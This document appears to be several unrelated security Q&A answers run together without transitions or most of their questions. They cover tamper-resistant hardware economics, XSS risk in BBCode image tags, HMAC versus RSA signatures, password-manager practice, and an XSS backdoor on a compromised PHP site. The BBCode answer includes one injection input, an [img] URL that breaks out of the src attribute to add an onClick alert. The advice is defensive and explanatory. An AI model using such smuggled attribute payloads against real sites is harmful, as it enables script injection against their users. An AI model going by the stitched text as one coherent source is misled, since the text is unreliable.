The fundamental answer is the market doesn't really want to pay for general purpose computers that are secure against physical attacks.  You propose making tradeoffs, and those tradeoffs involve engineering costs and operational costs which only a small number of buyers care about.

Some computer systems try to make these tradeoffs (for example, the Xbox) because there's a market reason (reducing game piracy).  ATM makers and voting machine makers have generally chosen to put their machines in locked cabinets.

Of course, most ways of mitigating threats are subject to further attacks.  Locks can be picked, glue can be scraped or dissolved, and so an attacker can perhaps modify the system even after all this work is done, which puts additional pressure on the economics.

Another solution is to go for tamper-evidence over tamper-resistance, and that's the approach that credit card terminal makers generally use.  Of course, there, tamper-evidence begs the question of "evident to whom, and how are they trained?"  Tamper evidence is another point along the economic spectrum.


If there is a web shell (like the one danger1.php) on your server it is already game over. It can easily be exploited without the use of BBCode. On the other hand, if there is a web shell on evil.com that is a problem for the poor guy owning that domain, not for you.

It would become a problem for you if you download any images users use to your own server. Then you would have a whole host of problems to worry about - malware of all sorts, PHP hidden in valid images, and so on. That would be dangerous business.

But if you are just replacing [img]url[/img] with <img src="url"> you are not downloading the image to your server. You are hot linking it. The visitors of your site will not be downloading the images from your server, but from whatever server they are linked from.

So it seems like you are worried about the wrong problem here. What you should be scared off is XSS. What about this image?

[img]https://example.com/cat.png" onClick="alert('XSS')[/img]

Protecting against XSS in a BBCode implementation is famously hard. Many have tried but failed. There is a PHP BBCode extension, but I don't know if it is any good. You should probably disable as many tags as possible and plug the output into a HTML purifier to be on the safe side.


HMAC is used to protect against manipulation by someone who has not access to the secret. Typically this means to protect against manipulation by the client if the secret is only known to the server or to protect against manipulation in transit if the secret is known to client and server.

An RSA based signature is used to protect against manipulation and also to allow others to verify the integrity and source of the data without being able to manipulate the data. This can be done because the private key is only known to the provider and signer of the data while the public key is known to everybody who likes to verify the integrity.

What to choose thus depends on your specific use case. If the server just needs to protect the token against manipulation by the client then using HMAC with a server side secret is enough. If instead it needs to be also proven to others that the token was created by a specific (trusted) server then RSA based signatures should be used.


Is it realistic to only need to remember the one password for the password manager?

Possible? Yes   Realistic? No

I set my Windows login password to be the same as my FDE password. A controversial choice, but I don't see any major risks with this.

If you have FDE then in theory you can use a password manager with no master password and still be safe. However, most people (and I include myself) don't feel comfortable with that. So that's two passwords as a minimum.

There are some passwords I don't want to put in my password manager, e.g. PINs for bank cards. So I have to memorize them.

I also find there's a few passwords you need to have memorised for practical reasons. One example is my Apple AppStore password. Even with touch ID I find myself typing it enough that I need it memorised. You can't paste into that password field, and it's modal, so you can't switch between it and the password manager.


Index page has been compromised, suspicious files are showing up

What is that?

The PHP file is a XSS backdoor. It allows the attacker to provide any HTML with JavaScript in the context of your site. This allows him access to cookies set by your site.

An attacker will trick a victim to do a POST request to that file with the malicious code in the wproPreviewHTML variable. If that user has special permissions on your side e. g. because he is logged in, the attacker will be able to do anything, that use can do.

The forbidden error may be suspicious, too. Some malicious software tries to hide in the error document. As the error documents are usually outside the document root folder for the normal web pages, there is quite a high chance for such modifications to be unnoticed.

What to do now?

You need to setup your server from scratch, as you cannot know the complete impact of the manipulation. It is likely that there is a backdoor hidden somewhere. Do not copy any program files (including scripts and php files) from the compromised server to the new one.

Further more there are some malicious programs for desktop computers, which manipulate php files during upload via FTP or SFTP.